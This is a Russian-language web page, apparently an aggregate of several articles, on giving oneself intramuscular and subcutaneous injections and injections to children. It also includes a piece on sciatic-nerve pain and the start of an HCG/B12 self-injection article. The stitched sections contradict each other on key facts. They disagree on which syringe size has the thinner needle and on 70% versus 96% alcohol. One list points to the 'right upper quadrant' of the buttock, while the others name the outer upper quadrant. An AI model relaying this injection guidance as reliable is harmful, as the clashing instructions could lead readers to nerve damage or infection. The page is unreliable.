Как делать укол самой себе в ягодицу: Как сделать укол внутримышечно, самому себе, в ягодицу

Содержание

Как сделать укол внутримышечно себе

Бывает так, что помощь нужна прямо сейчас, и прямо сейчас нужно сделать себе укол. Например, так бывает при внезапном приступе аллергии. Если дома никого нет, то придется спасаться своими силами. Нередко нужна человеку не единственная процедура, а целый курс уколов, а ходить в стационар просто нет времени, да и медсестру вызывать не так уж и дешево. В этом случае спасет только умение сделать укол самостоятельно. Стоит сказать, что самостоятельно можно делать любой укол только внутримышечно. Внутривенные инъекции и делаются исключительно в условиях больницы и только медицинскими работниками.

Внутримышечно укол можно сделать себе в ягодицу или бедро. Рассмотрим два первых варианта.

Укол в бедро

Плюс укола в бедро в том, что сделать его проще, чем в ягодицу, но для некоторых этот вид инъекции более болезненный, чем в ягодицу. Другим же укол в бедро подходит идеально. В любом случае, после такого укола внутримышечно бедро может немного тянуть.

Для проведения инъекции нам понадобятся:

  • Спирт. Обычно пишут, что нужен спирт 96%, но он слишком вяжет и образует пленку, под которой весьма вольготно будут чувствовать себя микробы. Именно поэтому лучше брать спирт 70%;
  • Ватные шарики;
  • Само лекарство;
  • Шприц. Разумеется, хорошо, если он будет трехкомпонентным.

Для того, чтобы найти место на бедре, садимся на табурет и в коленке сгибаем ногу. Можно еще и поставить ногу на табурет. Идеальным местом будет боковая поверхность ноги, точнее, верхняя её треть. Эта мышца будет чуть свисать.

Для подготовки к уколу руки очень хорошо моем с мылом, ампулу с лекарством обязательно протираем спиртом и встряхиваем . Далее кончик отпиливаем и отламываем, в шприц набираем средство. Стучим по прибору пальцем и собираем наверху все пузырьки воздуха на верхней части, превращая их в один. Чуть нажимаем на поршень и выталкиваем пузыри. Ждем. Когда появится первая капля на иголке. Можно колоть!

Как обезопасить себе жизнь

  • Места уколов обязательно следует чередовать, иначе будут синяки.
  • Лучше всего использовать шприцы импортные, с тонкой и острой иглой. Кроме того, стоит помнить, что у пятикубового шприца игла тоще, чем у двухкубового.
  • Не используйте дважды или трижды шприцы и иголки.

Republished by Blog Post Promoter

Укол самому себе | Как поставить подкожную инъекцию?


Подкожная («п/к») инъекция — процесс доставки лекарственных веществ в гиподерму (подкожную жировую клетчатку), минуя кровеносные сосуды. Это наиболее безопасная, с точки зрения самостоятельного осуществления, процедура.


Характеризуется тем, что препараты распределяются и расщепляются медленно, более равномерно, а действуют по времени дольше. Например, действие введенного подкожно Гепарина наступает через 40–60 минут, а продолжается в течение 8–12 часов.


Для каких групп препаратов предусмотрена такая процедура?


Чаще всего подкожно следующие группы лекарств:


  • Местные анестетики в процессе инфильтрационной (послойной, как правило, начиная с внутрикожной и подкожной) анестезии при операционных вмешательствах. Лидокаин (ксилокаин), Тримекаин, Бупивакаин (маркаин), Наропин.

  • Глюкокортикостероиды (ГКС) . Дипроспан.

  • Коагулянты (средства, подавляющие кровотечения). Адроксон.

  • Антикоагулянты (РЛС) прямого и непрямого действия. Клексан, Кливарин, Клексан, Эниксум, Гемапаксан, Анфибра, Гепарин, Фрагмин, Дальтеп, Мелагатран.

  • Гормоны, инсулины — Инсулин С, Джинтропин, Растан, Динатроп, Глюкагон, Тиротропин, Хуматроп и пр.

  • Большинство вакцин и инъекционных тестов.


Всё это водные или масляные растворы и суспензии, доставка которых, по сути, является альтернативой к пероральному приему (через проглатывание) тех же лекарств, разумеется, кроме случаев анестезии.


Примечание


Нельзя вводить подкожно и внутримышечно растворы раздражающих веществ (например, 10% раствор кальция хлорида), а так же гипертонические растворы. Эти группы веществ могут вызвать местный некроз (омертвение) тканей.


Отметим, что при резком снижении артериального давления (шоковые, коллаптические состояния) п/к введение малоэффективно из-за резкого замедления процесса всасывания.


Чтобы гарантированно выяснить, какой путь введения подходит для конкретного препарата, нужно внимательно прочесть инструкцию, а также уточнить у вашего лечащего врача или у аптекаря при покупке лекарства.


Правила подготовки


Рекомендации по подготовке к данной процедуре почти ничем не отличаются от аналогичных, принятых для других способов проведения инъекций.


  • В первую очередь, правильно подобрать иглу и шприц. Если вы не выяснили это у аптекаря во время покупки лекарства, то подробности об объемах шприцов, их назначении, длинах и диаметрах игл, можно прочесть в этой статье. В основном, для п/к введения препаратов подходят шприцы на 1–2 кубика с длиной игл, в среднем 20 мм и сечением 0.4 мм. Исключение составляют масляные растворы, для которых используют иглы с более широким диаметром.

  • Даже при использовании специальных стерильных медицинских перчаток, необходимо тщательно помыть и продезинфицировать руки.

  • Собрать и подготовить всё необходимое для процедуры.

  • Если нужен раствор, то приготовить его согласно инструкции к препарату и действуя по порядку, подробно описанному здесь.


Не менее важной является и ваша уверенность в себе, способность нанести точный прокол в то место, которые вы выбрали. Рекомендуется потренироваться самостоятельно, например, используя куриную грудку. Однако лучшим остается вариант проведения данного мероприятия в присутствии медработника или, хотя бы, более опытного в этом вопросе человека, который мог бы вас «подстраховать».


Как выбрать место для укола?


Для данного метода доставки лекарственных веществ используются:


  • Верхние наружные поверхности плеч и бедер.

  • Поверхности подлопаточной области (для самостоятельного введения эта область недоступна).

  • Область передней брюшной стенки, за исключением пупка и участка радиусом не менее 10 см вокруг него.





Нажмите на картинку, чтобы ее увеличить


Выбранное место необходимо взять в складку пальцами свободной руки. Точка прокола приходится, как раз, по ее самой выступающей части, посередине.


Техника проведения процедуры


Для того, чтобы поставить п/к инъекцию правильно, следуйте следующему алгоритму действий:


  • К началу мероприятия руки должны быть чистыми и продезинфицированными, а вводимый раствор умеренно — не более 38 градусов, нагрет (можно подержать корпус шприца с раствором в руках какое-то время).

  • Определите и пропальпируйте место инъекции. На нем не должно быть видимых повреждений и прощупываемых уплотнений. Помните, что проводить мероприятие на одном и том же участке в течение всего курса или большинства его процедур, крайне не рекомендуется.

  • Обработайте этот участок кожи 70% спиртом или другим допустимым антисептиком, нанесенным на кусочек ваты или бинта.

  • Возьмите шприц и, направив его вверх иглой, выпустите воздух.

  • Свободной рукой соберите кожу в складку в предполагаемом месте укола, избегая захватывания мышцы.


  • Нанесите быстрый уверенный удар иглой в складку под углом 90 градусов на глубину 2–3 иглы. Если же складка слишком мала (что часто бывает у худых людей или спортсменов), то удар наносят под углом 30–45 градусов, изначально направляя иглу срезом вверх.


  • Осторожно отпустите складку, освобождая руку, и слегка потяните ею поршень на себя, чтобы проверить кровь. При п/к инъекции попадание лекарства в кровеносную систему не допускается (!!!).


  • Медленно и равномерно введите раствор.

  • Плавным, уверенным движением вытяните иглу из-под кожи.

  • Снова обработайте место укола антисептиком.

  • Приступите к утилизации расходных материалов.


Если нужно ускорить наступление действия препарата, можно приложить к месту укола негорячую грелку через мягкую чистую ткань на 10–15 минут.


Соблюдение этих несложных рекомендаций в подавляющем большинстве случаев убережет вас от возможных осложнений.


Вероятные осложнения


В ряде случаев возможно наступление следующих осложнений:


  • Инфильтраты на участке проведения инъекции. Как правило, возникают в случае введения лекарственного состава в область уплотнения или местного отека, образовавшегося от предыдущих уколов. Также причиной может быть введение недостаточно подогретого раствора или одномоментное введение препарата в объеме более 5 миллилитров.

    С проблемой, чаще всего, можно справиться путем наложения спиртовых или полуспиртовых противовоспалительных компрессов на больное место, нанесения йодной сеточки, осторожного неинтенсивного растирания гепариновой мазью.

  • Абсцессы и флегмоны. Могут возникать при несоблюдении техники постановки уколов, на фоне неправильно пролеченного постинъекционного инфильтрата, при нарушении условий стерильности.

    В таких случаях лечение проводится только врачом. Всякая самотерапия, во избежание усугубления проблемы, должна быть исключена!

  • Подкожные кровоизлияния. Возникают при повреждении сосудов иглой на пути к точке введения препарата (не путать со случаями попадания вещества в сосуд!). Проявляются как выделение капелек крови в месте удара иглой.

    Рекомендуется несильно прижать ватный тампон с антисептиком — спиртом или йодом, к месту укола на 3–5 минут.

  • Химическое поражение тканей нерва. Может возникать вследствие введения агрессивных по отношению нервным тканям веществ поблизости от пролегающих нервов, когда создаются условия, именуемые как «лекарственное депо». В результате вероятно наступление пареза (снижение способности к движению у прилегающих мышц), параличей.

    Устранение данного осложнения должно проводиться только врачом и, как правило, в условиях стационара. Самолечение полностью исключено, т. к., помимо приема таблеток внутрь, необходимо проведение точечной местной анестезии (блокады) и физпроцедур, требующих хороших профессиональных навыков.


В целом, осложнения по характеру схожи с теми, что проявляются при внутримышечном способе доставки препаратов к тканям. Подробнее о них можно узнать в одной из предыдущих статей.


 


Подготовка к инъекции

Перед проведением процедуры тщательно вымойте руки с антибактериальным мылом или протрите специальным дезинфицирующим раствором — спиртом, хлоргексидином, водкой. Соберите шприц, нее касаясь руками иглы.

Достаньте из коробочки ампулу, встряхните, протрите ватным диском, намоченным спиртом. При помощи специальной пилочки вскройте ампулу, отклоняя ее конец от себя. Чтобы не порезаться, воспользуйтесь ватой. Посмотрите, если на ампуле есть специальная пометка (точка на ее узкой части), пилочка не понадобится.

Если по инструкции необходим растворитель, то наберите его в шприц, а затем смешайте с лекарством в ампуле и хорошенько встряхните. Если по инструкции не требуется дополнительный растворитель, то наберите лекарство из ампулы.

Введение препарата в мышцу

Постучите по шприцу, чтобы все пузырьки собрались в верхней части, затем, чтобы они вышли немного давите на поршень. Чтобы удостовериться, что в шприце не осталось лишних пузырьков, нужно дождаться появления небольшой капли из иглы, после этого можно смело переходить к самой инъекции.

Но перед этим следует снова продезинфицировать руки, так как они находились в прямом контакте с коробкой лекарства, ампулой и одеждой. Затем действуйте так:

  • возьмите два ватных диска и намочите их спиртом или дезинфицирующим раствором;
  • первым диском протрите большой участок кожи, в который будете делать укол;
  • вторым протрите локализованный участок, то есть, непосредственно то место, куда будете вводить иглу;
  • в течение 5 — 10 секунд интенсивно разотрите это место, в разогретую мышцу вводить иглу менее болезненно;
  • примите положение (можно лежа, сидя или стоя), в котором вы сможете расслабиться;
  • растяните кожу в месте, куда будете ставить укол;
  • под углом в 90 градусов относительно поверхности введения уверенным движением введите иглу в мышцу на 2/3 от длины всей иглы;
  • медленным движением вводите препарат;
  • после того, как в шприце больше не останется лекарства, резким движением выньте его и на место прокола приложите ватный диск, обработанный спиртом или дезинфицирующим раствором.

Читайте также
Как правильно сделать укол в ягодицу, бедро или подкожно себе или кому-то
В этой статье подробно расскажем как сделать укол грамотно кому-то или самому себе. Довольно часто в качестве элемента…

Зачастую, те инъекции, которые необходимо ставить именно в мышцу, являются болезненными. Поэтому, главной ошибкой, когда ставят такие уколы, является быстрое введение лекарства. Кажется, что чем быстрее закончишь, тем быстрее пройдет боль. Однако это ошибка. При введении таких препаратов, чем быстрее происходит этот процесс, тем болезненней становится процедура.

Обработка после процедуры является обязательным условием, чтобы предотвратить образование инфекции. Несильными, массирующими движениями разотрите кожу после укола смоченной в спирте ваткой.

Важные замечания

Нельзя использовать повторно один шприц. Лучше не экономить и покупать хорошие, качественные шприцы, которые необходимо утилизировать сразу после завершения процедуры.

Лучше всего чередовать место уколов. Одну инъекцию в левую ягодицу, другую в правую. То же самое, если делать уколы в бедренную мышцу или плечевую. При постоянном введении лекарства в одно и то же место может развиться инфекция, а также произойти мышечный спазм.

Обязательно проверяйте срок годности препарата, не пользуйтесь просроченным.

После покупки лекарства обратите внимание на условия хранения, прописанные в сигнатуре. Так препарат, который нужно хранить в холодильнике, станет абсолютно неэффективным и непригодным после хранения его в комнатных условиях.

Читайте также
Как собрать аптечку в дорогу, в отпуск, на море с ребенком
Когда у вас небольшая семья, где пока что не родились детки, вы можете ездить и путешествовать всюду, куда пожелает ваша…

Если у вас имеется страх перед иглами и боязнь вида крови, во избежание неприятностей попросите кого-нибудь из знакомых помочь вам. Иначе при проведении процедуры вы можете просто потерять сознание или ввести лекарство неправильно.

Для наиболее полного изучения методики уделите время просмотру видео с демонстрацией правильной техники, после чего сможете самостоятельно ставить себе уколы.

Как уже стало понятно, то, несмотря на устрашающее название процедуры, сама она является очень распространенной и при правильном проведении безболезненной. Для того, чтобы понять, как сделать уколы внутримышечно самому себе, следует сначала проконсультироваться с врачом. И лишь  затем следовать всем вышеописанным пунктам. Желаем удачи и скорейшего выздоровления!

Как делать укол самому/самой себе?

Когда Вы делаете укол самому себе,, важно выбрать удобное положение при проведении инъекции. Существует мнение, что инъекции можно проводить в любую мышцу — на руке, или на ноге. Однако врачи советуют делать укол именно в ягодицу — таким образом снижается вероятность негативных последствий (в руке мышечной массы может быть недостаточно, а после инъекции в бедро может «тянуть» ногу).

Потренируйтесь перед зеркалом, в каком положении вам будет удобно колоть — стоя в пол-оборота к зеркалу, или, возможно, лежа на боку (на полу или диване — важно, чтобы поверхность была достаточно жесткой, так процесс инъекции будет более контролируем).

Что нужно, чтобы сделать себе укол?

  •  ватные шарики, смоченные 96 спиртом,
  • трёхкомпонентный шприц 2,5 — 11 мл (в зависимости от объема лекарства назначенного для введения),
  • препарат назначенный для введения.

Для внутримышечных инъекций покупайте специальные шприцы с длинными иглами. Нельзя делать внутримышечные инъекции короткой иглой для подкожных или внутривенных инъекций или вводить иглу не на полную длину — она может не достать до мышцы, лекарство будет введено не в мышцу, а под кожу, что может привести к воспалению.

Подготовка

  1. Тщательно вымойте руки с мылом.
  2. Возьмите ампулу с лекарством, тщательно протрите спиртом.
  3. Хорошенько встряхните её.
  4. Подпилите и отломите кончик, наберите лекарство в шприц.
  5. Затем постучите пальцем по шприцу, чтобы собрать все пузырьки воздуха в верхней части шприца в один, и понемногу нажимая на поршень «вытолкните» воздушный пузырек через иглу.
  6. Чтобы убедиться, что воздуха в шприце больше нет, дождитесь появления первой капли лекарства из иглы.

Делаем укол самому/самой себе

Для того, что бы правильно сделать укол внутримышечно (в ягодицу) необходимо провести по ягодице воображаемый крест, делящий её на 4 части. Укол делается в верхний наружный квадрант (в этой зоне вы не повредите седалищный нерв).

1. Примите положение, которое вы определили для себя как самое удобное — стоя перед зеркалом или лежа на боку.

2. Возьмите шприц в правую руку (если вы правша), снимите колпак, развернитесь назад, возьмите левой рукой большую складку кожи в верхней части ягодицы (место укола), чтобы получился валик, поднесите шприц с направленной перпендикулярно коже иглой поближе и быстрым движением проткните ее иглой. Если очень страшно, можно в этот момент сделать глубокий вдох.

3. Расслабьтесь! Придерживая иглу за основание (пластмассовая канюля), медленно вводите лекарство. Шприц держится, как ручка, и большим пальцем надавливаем на поршень. Чем медленнее вы будете вводить лекарство, тем меньше вероятность шишки. (Внимание! Если вы используете шприц устаревшей конструкции — двухкомпонентный — одной рукой, возможно, вам не удастся выполнить инъекцию. Cамому себе делать укол не слишком удобно — поэтому, чтобы не мучаться, лучше приобрести современный трехкомпонентный шприц).

4. Когда лекарство будет введено, левой рукой возьмите заранее подготовленную ватку, смоченную в спирте, прижмите место укола. Правой рукой в это время резким движением достаньте иглу. Помассируйте место укола.

Правила безопасности при постановке укола самостоятельно

1. Чередуйте ягодицы – не делайте уколы в одну и ту же ягодицу.
2. Пользуйтесь только импортными шприцами, т.к. иглы у них тонкие и острые. А также у 2-х кубовых шприцов игла тоньше, чем у 5-ти кубовых.
3. Никогда не используйте шприц и иглу повторно, шприц после использования нужно обязательно выбросить!

Как сделать укол в ягодицу самому себе видео

Как сделать укол в ягодицу самому себе и ребенку правила выполнения инъекций

 

Подготовка к инъекции

Существует ряд подготовительных манипуляций, которые необходимо выполнить перед проведением внутримышечных инъекций:

  1. Тщательно моем руки с мылом. Лучше несколько раз подряд, чтобы вредные бактерии не попали на кожу больного. В самом крайнем случае пользуемся специальными антисептическими салфетками.
  2. Головку ампулы с лекарством протираем спиртовой или антисептической салфеткой. Как хранились ампулы до того, как мы их взяли — никому не известно, поэтому лучше перестраховаться.
  3. Пальцем слегка стучим по головке ампулы, чтобы стряхнуть оставшийся раствор.
  4. Через салфетку отламываем головку ампулы(движением от себя) в месте,где есть точка или белая полоска.
  5. Открытую ампулу аккуратно ставим на чистый лоток или тарелку.
  6. Открываем упаковку с одноразовым шприцем соблюдая правила стерильности. Надрыв упаковки делается со стороны поршня. Иглу пока не трогаем и тем более не открываем.
  7. Полностью вынимаем шприц из упаковки и вставляем иглу.
  8. Теперь мы готовы набрать лекарство в шприц. Придерживая пальцами основание иглы, снимаем колпачок (возможно придется приложить небольшое усилие), опускаем иглу в ампулу с раствором. Стараемся не задевать стенки ампулы и тем более не тыкать в донышко. Ампулу вы не проткнете, а вот игла будет уже не такой острой. В идеале использовать 2 штуки — одна для набора лекарства, вторая для самой инъекции.
  9. Оттягивая поршень шприца, набираем лекарство. Как бы аккуратно вы это не делали, в шприце все равно будут пузырьки воздуха, поэтому переворачиваем его носиком вверх и стучим (не по игле) пальцем так же, как перед этим по головке ампулы. Мелкие пузырьки соберутся в один большой в верхней части шприца. Слегка надавив на поршень, плавно выпускаем эти пузырьки и надеваем защитный колпачок.

Если вместе с воздухом из шприца выйдет пара-тройка капель лекарства, это не страшно. Это показатель того, что воздуха нет ни в шприце, ни в игле.

В какую часть ягодицы ставить укол

Выбираем место правильно. Это очень важно!

Итак, шприц готов, что делать дальше? Следующий вопрос после подготовки шприца – а как правильно делать укол в ягодицу. В первую очередь определимся с местом введения иглы. Чтобы правильно поставить укол, делим ягодицу на четыре равные части (на глаз). Введение иглы нужно производить в квадрат, который находится ближе к краю. Там нет больших кровеносных сосудов, все важные нервы спрятаны под хорошей жировой прослойкой и в кость тоже не попадете. Это очень важно: если колоть в любое другое место ягодицы, то последствия могут быть очень неприятные:

  1. повреждение седалищного нерва;
  2. сильная боль;
  3. исчезновение чувствительности бедра;
  4. атрофия мышц.

Техника выполнения внутримышечной инъекции

Многие медсестры умеют делать уколы в ягодицу быстро, без боли. Такие навыки оттачивается годами и приходят с опытом. У нас такого опыта пока нет. Так как же правильно ставить уколы в ягодицу? Следуйте простым рекомендациям и вы научитесь делать инъекции своим близким без боли и неприятных осложнений:

  1. Во время процедуры ввода лекарства пациент должен принять положение лежа, но если укол делается в экстремальной ситуации, срочно, то можно его сделать стоя.
  2. Перед началом процедуры прощупаем ягодицу, чтобы исключить наличие уплотнений от предыдущих инъекций. Если есть шишки от предыдущих уколов — колоть в них нельзя: боли будет много, а толку мало.
  3. Протираем место спиртовой салфеткой. Площадь для ввода иглы обеззараживаем, двигаясь от межъягодичной складки к краю. При этом не следует тереть с усилием. Ждем несколько секунд. Продезинфицированное место должно полностью высохнуть.
  4. Положив руку на ягодицу и тем самым ограничив область для укола, быстро, вводим иглу почти на всю длину, чтобы от ее основания до кожи оставалось не более 10 мм.
  5. Слегка тянем поршень на себя. Если в шприце появляется кровь, значит попали в какой-то сосудик. Иглу вынимаем и ищем другое место для укола.
  6. Надавливая на поршень шприца, вводим лекарство. Аккуратно, с постоянной скоростью. Не торопимся. Примерно полкубика в секунду. В противном случае есть шанс получить синяк и те самые шишки от уколов.
  7. Вынимаем иглу из ягодицы пациента одним движением, прижимаем место укола спиртовой салфеткой, ждем пару минут.

Как правильно поставить укол ребенку

Ребенок не взрослый и зачастую не понимает, что врач не хочет причинить ему вред.Чтобы не испугать ребенка болезненной процедурой и не оставить негативные впечатления от уколов на всю жизнь, педиатрия делится некоторыми хитростями, как делать укол в попу малыша. Правила проведения внутримышечной инъекции для детей:

  1. Мало кто из детей спокойно переносит подобные процедуры, что бы лишний раз не нервировать ребенка, всю процедуру подготовки лучше проводить так, что бы он ее не видел.
  2. Не стоит обманывать малыша, говоря, что больно не будет, но стоит донести до него мысль, что это необходимо для его выздоровления, и неприятные ощущения быстро пройдут.
  3. После завершения процедуры обязательно похвалите ребенка, скажите ему, какой он молодец и как мужественно вытерпел все невзгоды. Постарайтесь внушить ему, что уколы, это не страшно.
  4. Перед вводом иглы с помощью двух пальцев растянуть кожу. Натягивая ткани, сделайте инъекцию. Так ребенок почувствует меньше боли.
  5. Отвлекающим маневром может послужить легкий шлепок по попе и быстрое введение иглы. Когда рука находится на ягодице ребенка, вы контролируете степень напряженности мышц. Если малыш напрягается, то этот момент опасен для ввода иглы: укол будет более болезненным.

Правила безопасности

Как делать уколы в ягодицу, вы теперь знаете. Есть еще один важный момент: по окончании процедуры все отработанные материалы должны подвергаться утилизации. В больнице существуют специальные боксы, где перчатки, иглы и салфетки обрабатываются дезинфицирующим средством, затем уничтожаются. В домашних условиях рекомендуется нарушить целостность иглы. Затем надо закрыть ее защитным колпачком и вместе со шприцом, ваткой и остатками ампулы выбросить так, чтобы до них не добрались маленькие дети.

Видео как правильно делать укол в ягодицу

Полезное видео о том, как правильно делать инъекции в ягодицу:

И еще одно видео на ту же тему:

Как сделать укол в ягодицу самому себе

И в завершении еще одно интересное видео. Посмотрите его и скажите, что в нём не так?

Как правильно делать укол в ягодицу самостоятельно

Инъекция в мышцу наиболее простой и удобный способ ввести лекарство в организм человека. Для укола необходимо выбирать самые крупные мышцы. Также место укола должно быть удалено от нервов и кровеносных сосудов.

Самой подходящей мышцей является ягодичная. В ней наибольшее количество мышечной ткани, а также малое количество нервных окончаний.

Подготовка к инъекции

При проведении внутримышечной инъекции необходимо соблюдать хотя бы элементарную гигиену. Нужно подготовить ампулу с лекарственным препаратом, шприц в герметичной упаковке, пилочку, чтобы вскрыть ампулу, а так же кусок ваты или ватный шарик и антисептик. Постарайтесь выбирать как можно более качественные шприцы, потому что чем острее игла, тем менее безболезненной будет инъекция.

Проведение инъекции

При проведении внутримышечной инъекции существует 4 правила:

  1. Пациент должен находиться в горизонтальном положении.
  2. Ягодицу необходимо мысленно делить на 4 части и делать инъекцию в правый верхний квадрат. В противном случае существует риск задеть седалищный нерв.
  3. Иглу необходимо полностью вводить в мышцу.
  4. Чем медленнее вводится препарат, тем меньше болевых ощущений у пациента.

Порядок действий при проведении внутримышечной инъекции в домашних условиях:

  1. Вскройте упаковку со шприцем и соедините его с иглой.
  2. Проверьте название препарата на ампуле и его концентрацию.
  3. Подпилите ампулу пилочкой.
  4. Смочите ватку антисептиком и с помощью нее вскройте ампулу. В случае если ампула лопнет, ватка предохранит вас от порезов.
  5. Наберите лекарственный препарат в шприц. По возможности не касайтесь иглой стенок ампулы.
  6. Протрите ваткой с антисептиком место инъекции.
  7. Проверьте, чтобы в шприце не было воздуха. Для этого нажмите на поршень и выпустите небольшую струю лекарственного препарата. Если вы замечаете наличие больших пузырьков воздуха в шприце, то можно щелчками побить по стенкам шприца. На маленькие пристеночные пузырьки воздуха можно не обращать внимания.
  8. Резким движением введите иглу в мышцу под прямым углом.
  9. Медленно надавливайте на поршень шприца для введения препарата.
  10. Поршень опускайте не до конца, а до последней риски. Это нужно для того, чтобы пристеночные пузырьки воздуха остались в шприце.
  11. Достаньте шприц и приложите к месту инъекции ватку с антисептиком.

Если вы прокалываете курс препаратов, то старайтесь чередовать ягодицы, а также прикладывать к ним теплые грелки, что бы предостерегать образование абсцессов.

Защемленный нерв в ягодицах: причины, симптомы и лечение

Если у вас когда-либо был защемлен нерв в ягодицах, вы точно знаете, что это такое: болезненное. Это может быть относительно легкая ноющая боль, например мышечная судорога. Но это также может быть острая стреляющая боль, заставляющая вздрагивать.

Боль может быть локализована в ваших ягодицах, но также может поражать ваши ноги, бедра и пах. В любом случае, нервы не позволят вам забыть, что что-то не так.

Врач может осмотреть вас, чтобы подтвердить наиболее вероятную причину и исключить другие причины этой продолжающейся боли. Как только ваш врач определит, какой нерв находится под давлением, вы сможете узнать, как справиться с болью и заняться своими обычными повседневными делами.

Наиболее вероятной причиной этой нервной боли в ягодицах и ногах — наряду с онемением, покалыванием или даже слабостью — является состояние, называемое ишиасом. Эта боль может развиться при защемлении части седалищного нерва возле позвоночного канала.

Наиболее частой причиной ишиаса является грыжа межпозвоночного диска, которую также называют смещением диска. Ваш позвоночник состоит из ряда отдельных костей, называемых позвонками.

Резиновая подушечка, называемая диском, находится между каждым набором позвонков. Если часть желеобразного наполнителя одного из этих дисков проталкивается через разрыв во внешнем покрытии, это называется грыжей межпозвоночного диска.

Он может оказывать давление на близлежащие нервы и вызывать слабость, покалывание и боль. Если грыжа межпозвоночного диска расположена достаточно низко, это может привести к боли в ягодицах, которая может вызвать простреливание ног.

Вероятность возникновения грыжи межпозвоночного диска увеличивается с возрастом, поскольку диски имеют тенденцию ломаться или дегенерировать со временем.

Ишиас может вызывать несколько других состояний. Вот самые распространенные:

  • Стеноз позвоночного канала. Это когда ваш позвоночный канал постепенно сужается, оказывая давление на спинной мозг и нервные корешки внутри. Стеноз позвоночника может быть вызван рядом заболеваний, но наиболее распространенным является остеоартрит.
  • Синдром грушевидной мышцы. У вас есть мышца, которая проходит от нижней части позвоночника до верхней части бедра, которая является большой костью в бедре. Если эта грушевидная мышца надавливает на ваш седалищный нерв, идущий от спинного мозга вниз по ягодицам и задней части каждой ноги, это может вызвать боль и онемение.
  • Спондилолистез. Название этого состояния невнятное, и состояние, которое оно описывает, тоже довольно интенсивное. Стресс-перелом одного из позвонков заставляет его выскользнуть из своего положения в позвоночнике.Он может давить на седалищный нерв или другой нерв на другом уровне позвоночника и вызывать серьезную боль.
  • Синдром глубоких ягодичных мышц (СДГ). Глубокая боль в ягодицах может быть результатом так называемого защемления седалищного нерва в ягодичном пространстве. Ваши мышцы, кровеносные сосуды и кожа давят на нервы и вызывают сильную боль, а также, возможно, некоторое покалывание или онемение.

Возможно, вы не сможете с уверенностью сказать, возникает ли боль в ваших ягодицах в бедре или в пояснице.Оказывается, защемленный нерв в бедре может вызвать боль в паху или ноге. Так что боль в ягодицах могла начаться где-то еще.

Обследование врача — лучший способ определить, откуда исходит боль. Ваш врач может также пройти визуализационные тесты, такие как МРТ, чтобы определить, какой нерв сдавливается.

У вас и у вашего друга может быть ишиас и связанная с ним нервная боль, но вы можете испытывать боль совершенно по-разному.Некоторые общие симптомы включают:

  • покалывание или ощущение «иголки и иголки»
  • онемение в ягодицах, которое может проходить по задней части ног
  • слабость в ногах
  • глубокая боль в ягодицах
  • боль который излучается вниз по ногам

Некоторые люди считают, что их боль усиливается, когда они сидят, особенно в течение длительного времени. Ходьба или другие упражнения также могут усилить боль.

Вы, вероятно, хотите избавиться от боли, которую причиняет вам защемленный нерв, а также улучшить подвижность.Наиболее распространенные процедуры первой линии включают:

  • Тепло и лед. Если вы когда-либо получали спортивную травму, вы, вероятно, прикладывали лед или тепло, чтобы избавиться от возникшей боли. Лед помогает при отеках и воспалениях, поэтому он может быть более эффективным при острой боли. Как только первоначальная боль немного утихнет, вы можете попробовать наложить тепловой компресс, чтобы расслабить мышцы и, возможно, уменьшить давление на нерв, вызывающий боль.
  • Нестероидные противовоспалительные препараты (НПВП). Безрецептурные обезболивающие, такие как ибупрофен (Адвил), напроксен (Алив) и аспирин, могут облегчить умеренную боль.
  • Миорелаксанты. Ваш врач может рассмотреть возможность назначения лекарства, расслабляющего ваши мышцы, например циклобензаприна.
  • Физиотерапия. Лечебная физкультура — еще одна часто рекомендуемая терапия для людей, испытывающих боль в седалищном нерве. Физиотерапевт будет работать с вами, чтобы научиться определенным упражнениям, которые уменьшают давление на нерв, что должно уменьшить боль.

Если эти методы лечения не помогают эффективно справиться с болью, врач может предложить вам рассмотреть один из следующих вариантов:

  • Спинальные инъекции. Эпидуральная инъекция стероидов может устранить воспаление нерва и боль, которую он вызывает. Ваш врач введет кортикостероид или обезболивающее в область вокруг спинного мозга. Противовоспалительные эффекты стероида начнут действовать через пару дней.Инъекции более инвазивны, чем пероральные лекарства, но считаются безопасными и эффективными, а побочные эффекты возникают довольно редко.
  • Хирургия. Если ваши симптомы прогрессируют и ничего не помогает, возможно, пришло время подумать о хирургическом лечении. Тип операции будет зависеть от вашей конкретной ситуации, но несколько распространенных типов операции включают микродискэктомию, при которой удаляются фрагменты грыжи диска, и ламинэктомию, при которой удаляется часть пластинчатой ​​пластинки, которая покрывает спинной мозг, и ткань, которая может давить на ваш седалищный нерв.

Дополнительные методы лечения — еще одна возможность. Подумайте, подходит ли вам один из этих вариантов:

  • Yoga. Если вы ищете немедицинский, неинвазивный способ избавиться от боли в седалищном нерве, вы можете развернуть коврик для йоги и принять позу ребенка. Исследование 2017 года показало, что йога и физиотерапия помогли уменьшить хроническую боль в спине, а некоторым участникам даже потребовалось меньше обезболивающих. Попробуйте выполнить несколько поз дома, чтобы понять, не принесут ли они вам облегчения.
  • Иглоукалывание. Эксперты иногда предлагают попробовать иглоукалывание, наряду с упражнениями на растяжку и другими видами лечения, чтобы посмотреть, уменьшит ли это боль для вас. В недавнем обзоре литературы было отмечено, что иглоукалывание часто используется для снятия боли при различных состояниях и может быть полезным для лечения этого вида боли, хотя необходимы дополнительные исследования.
  • Массаж. Вы можете сами помассировать болезненные участки или обратиться к профессиональному массажисту.Есть преимущества как при массаже глубоких, так и мягких тканей. Некоторые исследования показывают, что массаж глубоких тканей помогает при болях в пояснице и может быть хорошим вариантом для людей, которые не хотят принимать НПВП или испытывают от них неприятные побочные эффекты.

Боль — это сигнал вашего тела о том, что что-то не так. Не игнорируйте тянущую боль или сильную боль в ягодицах. Если боль усиливается, или вам не удается контролировать свои ноги и ступни или даже кишечник, обратитесь к врачу.

Или, если вы не можете заниматься повседневными делами, позвоните своему врачу. Некоторое лечение должно помочь уменьшить боль.

Вам не нужно терпеть эту боль, когда вы сидите сзади. Но вам нужно выяснить, что вызывает это, чтобы вы могли решить эту проблему. Ишиас — очень частая причина боли в ягодицах. Но есть и другие потенциальные причины боли в ягодицах, поэтому вы можете обратиться к врачу, чтобы исключить другие причины.

Например, бурсит часто путают с ишиасом.Ваш врач осмотрит вас и выяснит, страдаете ли вы именно этим. Затем вы сможете выбрать наиболее подходящие для вас процедуры.

Как вводить HCG и B12 подкожно (бедро, ягодицы, желудок)

Получение максимальной отдачи от определенных добавок и лекарств, таких как ХГЧ и B12, может означать, что вам нужно научиться правильно вводить инъекции самостоятельно.

Не морщитесь, если у вас отвращение к иглам!

Знание, как правильно их использовать и где находить места инъекций, может избавить вас от всей боли и беспокойства, которые могут у вас возникнуть.

Узнайте, как делать себе подкожные инъекции, чтобы получить наилучшие возможные результаты.

Самостоятельная инъекция не должна вызывать у вас страха.

